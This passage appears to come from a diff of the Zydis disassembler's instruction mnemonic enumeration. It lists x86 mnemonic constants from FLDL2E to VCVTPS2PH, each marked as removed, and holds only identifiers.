ZYDIS_MNEMONIC_FLDL2E, - ZYDIS_MNEMONIC_FLDL2T, - ZYDIS_MNEMONIC_FLDLG2, - ZYDIS_MNEMONIC_FLDLN2, - ZYDIS_MNEMONIC_FLDPI, - ZYDIS_MNEMONIC_FLDZ, - ZYDIS_MNEMONIC_FMUL, - ZYDIS_MNEMONIC_FMULP, - ZYDIS_MNEMONIC_FNCLEX, - ZYDIS_MNEMONIC_FNINIT, - ZYDIS_MNEMONIC_FNOP, - ZYDIS_MNEMONIC_FNSAVE, - ZYDIS_MNEMONIC_FNSTCW, - ZYDIS_MNEMONIC_FNSTENV, - ZYDIS_MNEMONIC_FNSTSW, - ZYDIS_MNEMONIC_FPATAN, - ZYDIS_MNEMONIC_FPREM, - ZYDIS_MNEMONIC_FPREM1, - ZYDIS_MNEMONIC_FPTAN, - ZYDIS_MNEMONIC_FRNDINT, - ZYDIS_MNEMONIC_FRSTOR, - ZYDIS_MNEMONIC_FSCALE, - ZYDIS_MNEMONIC_FSETPM287_NOP, - ZYDIS_MNEMONIC_FSIN, - ZYDIS_MNEMONIC_FSINCOS, - ZYDIS_MNEMONIC_FSQRT, - ZYDIS_MNEMONIC_FST, - ZYDIS_MNEMONIC_FSTP, - ZYDIS_MNEMONIC_FSTPNCE, - ZYDIS_MNEMONIC_FSUB, - ZYDIS_MNEMONIC_FSUBP, - ZYDIS_MNEMONIC_FSUBR, - ZYDIS_MNEMONIC_FSUBRP, - ZYDIS_MNEMONIC_FTST, - ZYDIS_MNEMONIC_FUCOM, - ZYDIS_MNEMONIC_FUCOMI, - ZYDIS_MNEMONIC_FUCOMIP, - ZYDIS_MNEMONIC_FUCOMP, - ZYDIS_MNEMONIC_FUCOMPP, - ZYDIS_MNEMONIC_FWAIT, - ZYDIS_MNEMONIC_FXAM, - ZYDIS_MNEMONIC_FXCH, - ZYDIS_MNEMONIC_FXRSTOR, - ZYDIS_MNEMONIC_FXRSTOR64, - ZYDIS_MNEMONIC_FXSAVE, - ZYDIS_MNEMONIC_FXSAVE64, - ZYDIS_MNEMONIC_FXTRACT, - ZYDIS_MNEMONIC_FYL2X, - ZYDIS_MNEMONIC_FYL2XP1, - ZYDIS_MNEMONIC_GETSEC, - ZYDIS_MNEMONIC_GF2P8AFFINEINVQB, - ZYDIS_MNEMONIC_GF2P8AFFINEQB, - ZYDIS_MNEMONIC_GF2P8MULB, - ZYDIS_MNEMONIC_HADDPD, - ZYDIS_MNEMONIC_HADDPS, - ZYDIS_MNEMONIC_HLT, - ZYDIS_MNEMONIC_HSUBPD, - ZYDIS_MNEMONIC_HSUBPS, - ZYDIS_MNEMONIC_IDIV, - ZYDIS_MNEMONIC_IMUL, - ZYDIS_MNEMONIC_IN, - ZYDIS_MNEMONIC_INC, - ZYDIS_MNEMONIC_INCSSPD, - ZYDIS_MNEMONIC_INCSSPQ, - ZYDIS_MNEMONIC_INSB, - ZYDIS_MNEMONIC_INSD, - ZYDIS_MNEMONIC_INSERTPS, - ZYDIS_MNEMONIC_INSERTQ, - ZYDIS_MNEMONIC_INSW, - ZYDIS_MNEMONIC_INT, - ZYDIS_MNEMONIC_INT1, - ZYDIS_MNEMONIC_INT3, - ZYDIS_MNEMONIC_INTO, - ZYDIS_MNEMONIC_INVD, - ZYDIS_MNEMONIC_INVEPT, - ZYDIS_MNEMONIC_INVLPG, - ZYDIS_MNEMONIC_INVLPGA, - ZYDIS_MNEMONIC_INVLPGB, - ZYDIS_MNEMONIC_INVPCID, - ZYDIS_MNEMONIC_INVVPID, - ZYDIS_MNEMONIC_IRET, - ZYDIS_MNEMONIC_IRETD, - ZYDIS_MNEMONIC_IRETQ, - ZYDIS_MNEMONIC_JB, - ZYDIS_MNEMONIC_JBE, - ZYDIS_MNEMONIC_JCXZ, - ZYDIS_MNEMONIC_JECXZ, - ZYDIS_MNEMONIC_JKNZD, - ZYDIS_MNEMONIC_JKZD, - ZYDIS_MNEMONIC_JL, - ZYDIS_MNEMONIC_JLE, - ZYDIS_MNEMONIC_JMP, - ZYDIS_MNEMONIC_JNB, - ZYDIS_MNEMONIC_JNBE, - ZYDIS_MNEMONIC_JNL, - ZYDIS_MNEMONIC_JNLE, - ZYDIS_MNEMONIC_JNO, - ZYDIS_MNEMONIC_JNP, - ZYDIS_MNEMONIC_JNS, - ZYDIS_MNEMONIC_JNZ, - ZYDIS_MNEMONIC_JO, - ZYDIS_MNEMONIC_JP, - ZYDIS_MNEMONIC_JRCXZ, - ZYDIS_MNEMONIC_JS, - ZYDIS_MNEMONIC_JZ, - ZYDIS_MNEMONIC_KADDB, - ZYDIS_MNEMONIC_KADDD, - ZYDIS_MNEMONIC_KADDQ, - ZYDIS_MNEMONIC_KADDW, - ZYDIS_MNEMONIC_KAND, - ZYDIS_MNEMONIC_KANDB, - ZYDIS_MNEMONIC_KANDD, - ZYDIS_MNEMONIC_KANDN, - ZYDIS_MNEMONIC_KANDNB, - ZYDIS_MNEMONIC_KANDND, - ZYDIS_MNEMONIC_KANDNQ, - ZYDIS_MNEMONIC_KANDNR, - ZYDIS_MNEMONIC_KANDNW, - ZYDIS_MNEMONIC_KANDQ, - ZYDIS_MNEMONIC_KANDW, - ZYDIS_MNEMONIC_KCONCATH, - ZYDIS_MNEMONIC_KCONCATL, - ZYDIS_MNEMONIC_KEXTRACT, - ZYDIS_MNEMONIC_KMERGE2L1H, - ZYDIS_MNEMONIC_KMERGE2L1L, - ZYDIS_MNEMONIC_KMOV, - ZYDIS_MNEMONIC_KMOVB, - ZYDIS_MNEMONIC_KMOVD, - ZYDIS_MNEMONIC_KMOVQ, - ZYDIS_MNEMONIC_KMOVW, - ZYDIS_MNEMONIC_KNOT, - ZYDIS_MNEMONIC_KNOTB, - ZYDIS_MNEMONIC_KNOTD, - ZYDIS_MNEMONIC_KNOTQ, - ZYDIS_MNEMONIC_KNOTW, - ZYDIS_MNEMONIC_KOR, - ZYDIS_MNEMONIC_KORB, - ZYDIS_MNEMONIC_KORD, - ZYDIS_MNEMONIC_KORQ, - ZYDIS_MNEMONIC_KORTEST, - ZYDIS_MNEMONIC_KORTESTB, - ZYDIS_MNEMONIC_KORTESTD, - ZYDIS_MNEMONIC_KORTESTQ, - ZYDIS_MNEMONIC_KORTESTW, - ZYDIS_MNEMONIC_KORW, - ZYDIS_MNEMONIC_KSHIFTLB, - ZYDIS_MNEMONIC_KSHIFTLD, - ZYDIS_MNEMONIC_KSHIFTLQ, - ZYDIS_MNEMONIC_KSHIFTLW, - ZYDIS_MNEMONIC_KSHIFTRB, - ZYDIS_MNEMONIC_KSHIFTRD, - ZYDIS_MNEMONIC_KSHIFTRQ, - ZYDIS_MNEMONIC_KSHIFTRW, - ZYDIS_MNEMONIC_KTESTB, - ZYDIS_MNEMONIC_KTESTD, - ZYDIS_MNEMONIC_KTESTQ, - ZYDIS_MNEMONIC_KTESTW, - ZYDIS_MNEMONIC_KUNPCKBW, - ZYDIS_MNEMONIC_KUNPCKDQ, - ZYDIS_MNEMONIC_KUNPCKWD, - ZYDIS_MNEMONIC_KXNOR, - ZYDIS_MNEMONIC_KXNORB, - ZYDIS_MNEMONIC_KXNORD, - ZYDIS_MNEMONIC_KXNORQ, - ZYDIS_MNEMONIC_KXNORW, - ZYDIS_MNEMONIC_KXOR, - ZYDIS_MNEMONIC_KXORB, - ZYDIS_MNEMONIC_KXORD, - ZYDIS_MNEMONIC_KXORQ, - ZYDIS_MNEMONIC_KXORW, - ZYDIS_MNEMONIC_LAHF, - ZYDIS_MNEMONIC_LAR, - ZYDIS_MNEMONIC_LDDQU, - ZYDIS_MNEMONIC_LDMXCSR, - ZYDIS_MNEMONIC_LDS, - ZYDIS_MNEMONIC_LDTILECFG, - ZYDIS_MNEMONIC_LEA, - ZYDIS_MNEMONIC_LEAVE, - ZYDIS_MNEMONIC_LES, - ZYDIS_MNEMONIC_LFENCE, - ZYDIS_MNEMONIC_LFS, - ZYDIS_MNEMONIC_LGDT, - ZYDIS_MNEMONIC_LGS, - ZYDIS_MNEMONIC_LIDT, - ZYDIS_MNEMONIC_LLDT, - ZYDIS_MNEMONIC_LLWPCB, - ZYDIS_MNEMONIC_LMSW, - ZYDIS_MNEMONIC_LODSB, - ZYDIS_MNEMONIC_LODSD, - ZYDIS_MNEMONIC_LODSQ, - ZYDIS_MNEMONIC_LODSW, - ZYDIS_MNEMONIC_LOOP, - ZYDIS_MNEMONIC_LOOPE, - ZYDIS_MNEMONIC_LOOPNE, - ZYDIS_MNEMONIC_LSL, - ZYDIS_MNEMONIC_LSS, - ZYDIS_MNEMONIC_LTR, - ZYDIS_MNEMONIC_LWPINS, - ZYDIS_MNEMONIC_LWPVAL, - ZYDIS_MNEMONIC_LZCNT, - ZYDIS_MNEMONIC_MASKMOVDQU, - ZYDIS_MNEMONIC_MASKMOVQ, - ZYDIS_MNEMONIC_MAXPD, - ZYDIS_MNEMONIC_MAXPS, - ZYDIS_MNEMONIC_MAXSD, - ZYDIS_MNEMONIC_MAXSS, - ZYDIS_MNEMONIC_MCOMMIT, - ZYDIS_MNEMONIC_MFENCE, - ZYDIS_MNEMONIC_MINPD, - ZYDIS_MNEMONIC_MINPS, - ZYDIS_MNEMONIC_MINSD, - ZYDIS_MNEMONIC_MINSS, - ZYDIS_MNEMONIC_MONITOR, - ZYDIS_MNEMONIC_MONITORX, - ZYDIS_MNEMONIC_MONTMUL, - ZYDIS_MNEMONIC_MOV, - ZYDIS_MNEMONIC_MOVAPD, - ZYDIS_MNEMONIC_MOVAPS, - ZYDIS_MNEMONIC_MOVBE, - ZYDIS_MNEMONIC_MOVD, - ZYDIS_MNEMONIC_MOVDDUP, - ZYDIS_MNEMONIC_MOVDIR64B, - ZYDIS_MNEMONIC_MOVDIRI, - ZYDIS_MNEMONIC_MOVDQ2Q, - ZYDIS_MNEMONIC_MOVDQA, - ZYDIS_MNEMONIC_MOVDQU, - ZYDIS_MNEMONIC_MOVHLPS, - ZYDIS_MNEMONIC_MOVHPD, - ZYDIS_MNEMONIC_MOVHPS, - ZYDIS_MNEMONIC_MOVLHPS, - ZYDIS_MNEMONIC_MOVLPD, - ZYDIS_MNEMONIC_MOVLPS, - ZYDIS_MNEMONIC_MOVMSKPD, - ZYDIS_MNEMONIC_MOVMSKPS, - ZYDIS_MNEMONIC_MOVNTDQ, - ZYDIS_MNEMONIC_MOVNTDQA, - ZYDIS_MNEMONIC_MOVNTI, - ZYDIS_MNEMONIC_MOVNTPD, - ZYDIS_MNEMONIC_MOVNTPS, - ZYDIS_MNEMONIC_MOVNTQ, - ZYDIS_MNEMONIC_MOVNTSD, - ZYDIS_MNEMONIC_MOVNTSS, - ZYDIS_MNEMONIC_MOVQ, - ZYDIS_MNEMONIC_MOVQ2DQ, - ZYDIS_MNEMONIC_MOVSB, - ZYDIS_MNEMONIC_MOVSD, - ZYDIS_MNEMONIC_MOVSHDUP, - ZYDIS_MNEMONIC_MOVSLDUP, - ZYDIS_MNEMONIC_MOVSQ, - ZYDIS_MNEMONIC_MOVSS, - ZYDIS_MNEMONIC_MOVSW, - ZYDIS_MNEMONIC_MOVSX, - ZYDIS_MNEMONIC_MOVSXD, - ZYDIS_MNEMONIC_MOVUPD, - ZYDIS_MNEMONIC_MOVUPS, - ZYDIS_MNEMONIC_MOVZX, - ZYDIS_MNEMONIC_MPSADBW, - ZYDIS_MNEMONIC_MUL, - ZYDIS_MNEMONIC_MULPD, - ZYDIS_MNEMONIC_MULPS, - ZYDIS_MNEMONIC_MULSD, - ZYDIS_MNEMONIC_MULSS, - ZYDIS_MNEMONIC_MULX, - ZYDIS_MNEMONIC_MWAIT, - ZYDIS_MNEMONIC_MWAITX, - ZYDIS_MNEMONIC_NEG, - ZYDIS_MNEMONIC_NOP, - ZYDIS_MNEMONIC_NOT, - ZYDIS_MNEMONIC_OR, - ZYDIS_MNEMONIC_ORPD, - ZYDIS_MNEMONIC_ORPS, - ZYDIS_MNEMONIC_OUT, - ZYDIS_MNEMONIC_OUTSB, - ZYDIS_MNEMONIC_OUTSD, - ZYDIS_MNEMONIC_OUTSW, - ZYDIS_MNEMONIC_PABSB, - ZYDIS_MNEMONIC_PABSD, - ZYDIS_MNEMONIC_PABSW, - ZYDIS_MNEMONIC_PACKSSDW, - ZYDIS_MNEMONIC_PACKSSWB, - ZYDIS_MNEMONIC_PACKUSDW, - ZYDIS_MNEMONIC_PACKUSWB, - ZYDIS_MNEMONIC_PADDB, - ZYDIS_MNEMONIC_PADDD, - ZYDIS_MNEMONIC_PADDQ, - ZYDIS_MNEMONIC_PADDSB, - ZYDIS_MNEMONIC_PADDSW, - ZYDIS_MNEMONIC_PADDUSB, - ZYDIS_MNEMONIC_PADDUSW, - ZYDIS_MNEMONIC_PADDW, - ZYDIS_MNEMONIC_PALIGNR, - ZYDIS_MNEMONIC_PAND, - ZYDIS_MNEMONIC_PANDN, - ZYDIS_MNEMONIC_PAUSE, - ZYDIS_MNEMONIC_PAVGB, - ZYDIS_MNEMONIC_PAVGUSB, - ZYDIS_MNEMONIC_PAVGW, - ZYDIS_MNEMONIC_PBLENDVB, - ZYDIS_MNEMONIC_PBLENDW, - ZYDIS_MNEMONIC_PCLMULQDQ, - ZYDIS_MNEMONIC_PCMPEQB, - ZYDIS_MNEMONIC_PCMPEQD, - ZYDIS_MNEMONIC_PCMPEQQ, - ZYDIS_MNEMONIC_PCMPEQW, - ZYDIS_MNEMONIC_PCMPESTRI, - ZYDIS_MNEMONIC_PCMPESTRM, - ZYDIS_MNEMONIC_PCMPGTB, - ZYDIS_MNEMONIC_PCMPGTD, - ZYDIS_MNEMONIC_PCMPGTQ, - ZYDIS_MNEMONIC_PCMPGTW, - ZYDIS_MNEMONIC_PCMPISTRI, - ZYDIS_MNEMONIC_PCMPISTRM, - ZYDIS_MNEMONIC_PCONFIG, - ZYDIS_MNEMONIC_PDEP, - ZYDIS_MNEMONIC_PEXT, - ZYDIS_MNEMONIC_PEXTRB, - ZYDIS_MNEMONIC_PEXTRD, - ZYDIS_MNEMONIC_PEXTRQ, - ZYDIS_MNEMONIC_PEXTRW, - ZYDIS_MNEMONIC_PF2ID, - ZYDIS_MNEMONIC_PF2IW, - ZYDIS_MNEMONIC_PFACC, - ZYDIS_MNEMONIC_PFADD, - ZYDIS_MNEMONIC_PFCMPEQ, - ZYDIS_MNEMONIC_PFCMPGE, - ZYDIS_MNEMONIC_PFCMPGT, - ZYDIS_MNEMONIC_PFCPIT1, - ZYDIS_MNEMONIC_PFMAX, - ZYDIS_MNEMONIC_PFMIN, - ZYDIS_MNEMONIC_PFMUL, - ZYDIS_MNEMONIC_PFNACC, - ZYDIS_MNEMONIC_PFPNACC, - ZYDIS_MNEMONIC_PFRCP, - ZYDIS_MNEMONIC_PFRCPIT2, - ZYDIS_MNEMONIC_PFRSQIT1, - ZYDIS_MNEMONIC_PFSQRT, - ZYDIS_MNEMONIC_PFSUB, - ZYDIS_MNEMONIC_PFSUBR, - ZYDIS_MNEMONIC_PHADDD, - ZYDIS_MNEMONIC_PHADDSW, - ZYDIS_MNEMONIC_PHADDW, - ZYDIS_MNEMONIC_PHMINPOSUW, - ZYDIS_MNEMONIC_PHSUBD, - ZYDIS_MNEMONIC_PHSUBSW, - ZYDIS_MNEMONIC_PHSUBW, - ZYDIS_MNEMONIC_PI2FD, - ZYDIS_MNEMONIC_PI2FW, - ZYDIS_MNEMONIC_PINSRB, - ZYDIS_MNEMONIC_PINSRD, - ZYDIS_MNEMONIC_PINSRQ, - ZYDIS_MNEMONIC_PINSRW, - ZYDIS_MNEMONIC_PMADDUBSW, - ZYDIS_MNEMONIC_PMADDWD, - ZYDIS_MNEMONIC_PMAXSB, - ZYDIS_MNEMONIC_PMAXSD, - ZYDIS_MNEMONIC_PMAXSW, - ZYDIS_MNEMONIC_PMAXUB, - ZYDIS_MNEMONIC_PMAXUD, - ZYDIS_MNEMONIC_PMAXUW, - ZYDIS_MNEMONIC_PMINSB, - ZYDIS_MNEMONIC_PMINSD, - ZYDIS_MNEMONIC_PMINSW, - ZYDIS_MNEMONIC_PMINUB, - ZYDIS_MNEMONIC_PMINUD, - ZYDIS_MNEMONIC_PMINUW, - ZYDIS_MNEMONIC_PMOVMSKB, - ZYDIS_MNEMONIC_PMOVSXBD, - ZYDIS_MNEMONIC_PMOVSXBQ, - ZYDIS_MNEMONIC_PMOVSXBW, - ZYDIS_MNEMONIC_PMOVSXDQ, - ZYDIS_MNEMONIC_PMOVSXWD, - ZYDIS_MNEMONIC_PMOVSXWQ, - ZYDIS_MNEMONIC_PMOVZXBD, - ZYDIS_MNEMONIC_PMOVZXBQ, - ZYDIS_MNEMONIC_PMOVZXBW, - ZYDIS_MNEMONIC_PMOVZXDQ, - ZYDIS_MNEMONIC_PMOVZXWD, - ZYDIS_MNEMONIC_PMOVZXWQ, - ZYDIS_MNEMONIC_PMULDQ, - ZYDIS_MNEMONIC_PMULHRSW, - ZYDIS_MNEMONIC_PMULHRW, - ZYDIS_MNEMONIC_PMULHUW, - ZYDIS_MNEMONIC_PMULHW, - ZYDIS_MNEMONIC_PMULLD, - ZYDIS_MNEMONIC_PMULLW, - ZYDIS_MNEMONIC_PMULUDQ, - ZYDIS_MNEMONIC_POP, - ZYDIS_MNEMONIC_POPA, - ZYDIS_MNEMONIC_POPAD, - ZYDIS_MNEMONIC_POPCNT, - ZYDIS_MNEMONIC_POPF, - ZYDIS_MNEMONIC_POPFD, - ZYDIS_MNEMONIC_POPFQ, - ZYDIS_MNEMONIC_POR, - ZYDIS_MNEMONIC_PREFETCH, - ZYDIS_MNEMONIC_PREFETCHNTA, - ZYDIS_MNEMONIC_PREFETCHT0, - ZYDIS_MNEMONIC_PREFETCHT1, - ZYDIS_MNEMONIC_PREFETCHT2, - ZYDIS_MNEMONIC_PREFETCHW, - ZYDIS_MNEMONIC_PREFETCHWT1, - ZYDIS_MNEMONIC_PSADBW, - ZYDIS_MNEMONIC_PSHUFB, - ZYDIS_MNEMONIC_PSHUFD, - ZYDIS_MNEMONIC_PSHUFHW, - ZYDIS_MNEMONIC_PSHUFLW, - ZYDIS_MNEMONIC_PSHUFW, - ZYDIS_MNEMONIC_PSIGNB, - ZYDIS_MNEMONIC_PSIGND, - ZYDIS_MNEMONIC_PSIGNW, - ZYDIS_MNEMONIC_PSLLD, - ZYDIS_MNEMONIC_PSLLDQ, - ZYDIS_MNEMONIC_PSLLQ, - ZYDIS_MNEMONIC_PSLLW, - ZYDIS_MNEMONIC_PSMASH, - ZYDIS_MNEMONIC_PSRAD, - ZYDIS_MNEMONIC_PSRAW, - ZYDIS_MNEMONIC_PSRLD, - ZYDIS_MNEMONIC_PSRLDQ, - ZYDIS_MNEMONIC_PSRLQ, - ZYDIS_MNEMONIC_PSRLW, - ZYDIS_MNEMONIC_PSUBB, - ZYDIS_MNEMONIC_PSUBD, - ZYDIS_MNEMONIC_PSUBQ, - ZYDIS_MNEMONIC_PSUBSB, - ZYDIS_MNEMONIC_PSUBSW, - ZYDIS_MNEMONIC_PSUBUSB, - ZYDIS_MNEMONIC_PSUBUSW, - ZYDIS_MNEMONIC_PSUBW, - ZYDIS_MNEMONIC_PSWAPD, - ZYDIS_MNEMONIC_PTEST, - ZYDIS_MNEMONIC_PTWRITE, - ZYDIS_MNEMONIC_PUNPCKHBW, - ZYDIS_MNEMONIC_PUNPCKHDQ, - ZYDIS_MNEMONIC_PUNPCKHQDQ, - ZYDIS_MNEMONIC_PUNPCKHWD, - ZYDIS_MNEMONIC_PUNPCKLBW, - ZYDIS_MNEMONIC_PUNPCKLDQ, - ZYDIS_MNEMONIC_PUNPCKLQDQ, - ZYDIS_MNEMONIC_PUNPCKLWD, - ZYDIS_MNEMONIC_PUSH, - ZYDIS_MNEMONIC_PUSHA, - ZYDIS_MNEMONIC_PUSHAD, - ZYDIS_MNEMONIC_PUSHF, - ZYDIS_MNEMONIC_PUSHFD, - ZYDIS_MNEMONIC_PUSHFQ, - ZYDIS_MNEMONIC_PVALIDATE, - ZYDIS_MNEMONIC_PXOR, - ZYDIS_MNEMONIC_RCL, - ZYDIS_MNEMONIC_RCPPS, - ZYDIS_MNEMONIC_RCPSS, - ZYDIS_MNEMONIC_RCR, - ZYDIS_MNEMONIC_RDFSBASE, - ZYDIS_MNEMONIC_RDGSBASE, - ZYDIS_MNEMONIC_RDMSR, - ZYDIS_MNEMONIC_RDPID, - ZYDIS_MNEMONIC_RDPKRU, - ZYDIS_MNEMONIC_RDPMC, - ZYDIS_MNEMONIC_RDPRU, - ZYDIS_MNEMONIC_RDRAND, - ZYDIS_MNEMONIC_RDSEED, - ZYDIS_MNEMONIC_RDSSPD, - ZYDIS_MNEMONIC_RDSSPQ, - ZYDIS_MNEMONIC_RDTSC, - ZYDIS_MNEMONIC_RDTSCP, - ZYDIS_MNEMONIC_RET, - ZYDIS_MNEMONIC_RMPADJUST, - ZYDIS_MNEMONIC_RMPUPDATE, - ZYDIS_MNEMONIC_ROL, - ZYDIS_MNEMONIC_ROR, - ZYDIS_MNEMONIC_RORX, - ZYDIS_MNEMONIC_ROUNDPD, - ZYDIS_MNEMONIC_ROUNDPS, - ZYDIS_MNEMONIC_ROUNDSD, - ZYDIS_MNEMONIC_ROUNDSS, - ZYDIS_MNEMONIC_RSM, - ZYDIS_MNEMONIC_RSQRTPS, - ZYDIS_MNEMONIC_RSQRTSS, - ZYDIS_MNEMONIC_RSTORSSP, - ZYDIS_MNEMONIC_SAHF, - ZYDIS_MNEMONIC_SALC, - ZYDIS_MNEMONIC_SAR, - ZYDIS_MNEMONIC_SARX, - ZYDIS_MNEMONIC_SAVEPREVSSP, - ZYDIS_MNEMONIC_SBB, - ZYDIS_MNEMONIC_SCASB, - ZYDIS_MNEMONIC_SCASD, - ZYDIS_MNEMONIC_SCASQ, - ZYDIS_MNEMONIC_SCASW, - ZYDIS_MNEMONIC_SERIALIZE, - ZYDIS_MNEMONIC_SETB, - ZYDIS_MNEMONIC_SETBE, - ZYDIS_MNEMONIC_SETL, - ZYDIS_MNEMONIC_SETLE, - ZYDIS_MNEMONIC_SETNB, - ZYDIS_MNEMONIC_SETNBE, - ZYDIS_MNEMONIC_SETNL, - ZYDIS_MNEMONIC_SETNLE, - ZYDIS_MNEMONIC_SETNO, - ZYDIS_MNEMONIC_SETNP, - ZYDIS_MNEMONIC_SETNS, - ZYDIS_MNEMONIC_SETNZ, - ZYDIS_MNEMONIC_SETO, - ZYDIS_MNEMONIC_SETP, - ZYDIS_MNEMONIC_SETS, - ZYDIS_MNEMONIC_SETSSBSY, - ZYDIS_MNEMONIC_SETZ, - ZYDIS_MNEMONIC_SFENCE, - ZYDIS_MNEMONIC_SGDT, - ZYDIS_MNEMONIC_SHA1MSG1, - ZYDIS_MNEMONIC_SHA1MSG2, - ZYDIS_MNEMONIC_SHA1NEXTE, - ZYDIS_MNEMONIC_SHA1RNDS4, - ZYDIS_MNEMONIC_SHA256MSG1, - ZYDIS_MNEMONIC_SHA256MSG2, - ZYDIS_MNEMONIC_SHA256RNDS2, - ZYDIS_MNEMONIC_SHL, - ZYDIS_MNEMONIC_SHLD, - ZYDIS_MNEMONIC_SHLX, - ZYDIS_MNEMONIC_SHR, - ZYDIS_MNEMONIC_SHRD, - ZYDIS_MNEMONIC_SHRX, - ZYDIS_MNEMONIC_SHUFPD, - ZYDIS_MNEMONIC_SHUFPS, - ZYDIS_MNEMONIC_SIDT, - ZYDIS_MNEMONIC_SKINIT, - ZYDIS_MNEMONIC_SLDT, - ZYDIS_MNEMONIC_SLWPCB, - ZYDIS_MNEMONIC_SMSW, - ZYDIS_MNEMONIC_SPFLT, - ZYDIS_MNEMONIC_SQRTPD, - ZYDIS_MNEMONIC_SQRTPS, - ZYDIS_MNEMONIC_SQRTSD, - ZYDIS_MNEMONIC_SQRTSS, - ZYDIS_MNEMONIC_STAC, - ZYDIS_MNEMONIC_STC, - ZYDIS_MNEMONIC_STD, - ZYDIS_MNEMONIC_STGI, - ZYDIS_MNEMONIC_STI, - ZYDIS_MNEMONIC_STMXCSR, - ZYDIS_MNEMONIC_STOSB, - ZYDIS_MNEMONIC_STOSD, - ZYDIS_MNEMONIC_STOSQ, - ZYDIS_MNEMONIC_STOSW, - ZYDIS_MNEMONIC_STR, - ZYDIS_MNEMONIC_STTILECFG, - ZYDIS_MNEMONIC_SUB, - ZYDIS_MNEMONIC_SUBPD, - ZYDIS_MNEMONIC_SUBPS, - ZYDIS_MNEMONIC_SUBSD, - ZYDIS_MNEMONIC_SUBSS, - ZYDIS_MNEMONIC_SWAPGS, - ZYDIS_MNEMONIC_SYSCALL, - ZYDIS_MNEMONIC_SYSENTER, - ZYDIS_MNEMONIC_SYSEXIT, - ZYDIS_MNEMONIC_SYSRET, - ZYDIS_MNEMONIC_T1MSKC, - ZYDIS_MNEMONIC_TDPBF16PS, - ZYDIS_MNEMONIC_TDPBSSD, - ZYDIS_MNEMONIC_TDPBSUD, - ZYDIS_MNEMONIC_TDPBUSD, - ZYDIS_MNEMONIC_TDPBUUD, - ZYDIS_MNEMONIC_TEST, - ZYDIS_MNEMONIC_TILELOADD, - ZYDIS_MNEMONIC_TILELOADDT1, - ZYDIS_MNEMONIC_TILERELEASE, - ZYDIS_MNEMONIC_TILESTORED, - ZYDIS_MNEMONIC_TILEZERO, - ZYDIS_MNEMONIC_TLBSYNC, - ZYDIS_MNEMONIC_TPAUSE, - ZYDIS_MNEMONIC_TZCNT, - ZYDIS_MNEMONIC_TZCNTI, - ZYDIS_MNEMONIC_TZMSK, - ZYDIS_MNEMONIC_UCOMISD, - ZYDIS_MNEMONIC_UCOMISS, - ZYDIS_MNEMONIC_UD0, - ZYDIS_MNEMONIC_UD1, - ZYDIS_MNEMONIC_UD2, - ZYDIS_MNEMONIC_UMONITOR, - ZYDIS_MNEMONIC_UMWAIT, - ZYDIS_MNEMONIC_UNPCKHPD, - ZYDIS_MNEMONIC_UNPCKHPS, - ZYDIS_MNEMONIC_UNPCKLPD, - ZYDIS_MNEMONIC_UNPCKLPS, - ZYDIS_MNEMONIC_V4FMADDPS, - ZYDIS_MNEMONIC_V4FMADDSS, - ZYDIS_MNEMONIC_V4FNMADDPS, - ZYDIS_MNEMONIC_V4FNMADDSS, - ZYDIS_MNEMONIC_VADDNPD, - ZYDIS_MNEMONIC_VADDNPS, - ZYDIS_MNEMONIC_VADDPD, - ZYDIS_MNEMONIC_VADDPS, - ZYDIS_MNEMONIC_VADDSD, - ZYDIS_MNEMONIC_VADDSETSPS, - ZYDIS_MNEMONIC_VADDSS, - ZYDIS_MNEMONIC_VADDSUBPD, - ZYDIS_MNEMONIC_VADDSUBPS, - ZYDIS_MNEMONIC_VAESDEC, - ZYDIS_MNEMONIC_VAESDECLAST, - ZYDIS_MNEMONIC_VAESENC, - ZYDIS_MNEMONIC_VAESENCLAST, - ZYDIS_MNEMONIC_VAESIMC, - ZYDIS_MNEMONIC_VAESKEYGENASSIST, - ZYDIS_MNEMONIC_VALIGND, - ZYDIS_MNEMONIC_VALIGNQ, - ZYDIS_MNEMONIC_VANDNPD, - ZYDIS_MNEMONIC_VANDNPS, - ZYDIS_MNEMONIC_VANDPD, - ZYDIS_MNEMONIC_VANDPS, - ZYDIS_MNEMONIC_VBLENDMPD, - ZYDIS_MNEMONIC_VBLENDMPS, - ZYDIS_MNEMONIC_VBLENDPD, - ZYDIS_MNEMONIC_VBLENDPS, - ZYDIS_MNEMONIC_VBLENDVPD, - ZYDIS_MNEMONIC_VBLENDVPS, - ZYDIS_MNEMONIC_VBROADCASTF128, - ZYDIS_MNEMONIC_VBROADCASTF32X2, - ZYDIS_MNEMONIC_VBROADCASTF32X4, - ZYDIS_MNEMONIC_VBROADCASTF32X8, - ZYDIS_MNEMONIC_VBROADCASTF64X2, - ZYDIS_MNEMONIC_VBROADCASTF64X4, - ZYDIS_MNEMONIC_VBROADCASTI128, - ZYDIS_MNEMONIC_VBROADCASTI32X2, - ZYDIS_MNEMONIC_VBROADCASTI32X4, - ZYDIS_MNEMONIC_VBROADCASTI32X8, - ZYDIS_MNEMONIC_VBROADCASTI64X2, - ZYDIS_MNEMONIC_VBROADCASTI64X4, - ZYDIS_MNEMONIC_VBROADCASTSD, - ZYDIS_MNEMONIC_VBROADCASTSS, - ZYDIS_MNEMONIC_VCMPPD, - ZYDIS_MNEMONIC_VCMPPS, - ZYDIS_MNEMONIC_VCMPSD, - ZYDIS_MNEMONIC_VCMPSS, - ZYDIS_MNEMONIC_VCOMISD, - ZYDIS_MNEMONIC_VCOMISS, - ZYDIS_MNEMONIC_VCOMPRESSPD, - ZYDIS_MNEMONIC_VCOMPRESSPS, - ZYDIS_MNEMONIC_VCVTDQ2PD, - ZYDIS_MNEMONIC_VCVTDQ2PS, - ZYDIS_MNEMONIC_VCVTFXPNTDQ2PS, - ZYDIS_MNEMONIC_VCVTFXPNTPD2DQ, - ZYDIS_MNEMONIC_VCVTFXPNTPD2UDQ, - ZYDIS_MNEMONIC_VCVTFXPNTPS2DQ, - ZYDIS_MNEMONIC_VCVTFXPNTPS2UDQ, - ZYDIS_MNEMONIC_VCVTFXPNTUDQ2PS, - ZYDIS_MNEMONIC_VCVTNE2PS2BF16, - ZYDIS_MNEMONIC_VCVTNEPS2BF16, - ZYDIS_MNEMONIC_VCVTPD2DQ, - ZYDIS_MNEMONIC_VCVTPD2PS, - ZYDIS_MNEMONIC_VCVTPD2QQ, - ZYDIS_MNEMONIC_VCVTPD2UDQ, - ZYDIS_MNEMONIC_VCVTPD2UQQ, - ZYDIS_MNEMONIC_VCVTPH2PS, - ZYDIS_MNEMONIC_VCVTPS2DQ, - ZYDIS_MNEMONIC_VCVTPS2PD, - ZYDIS_MNEMONIC_VCVTPS2PH, - 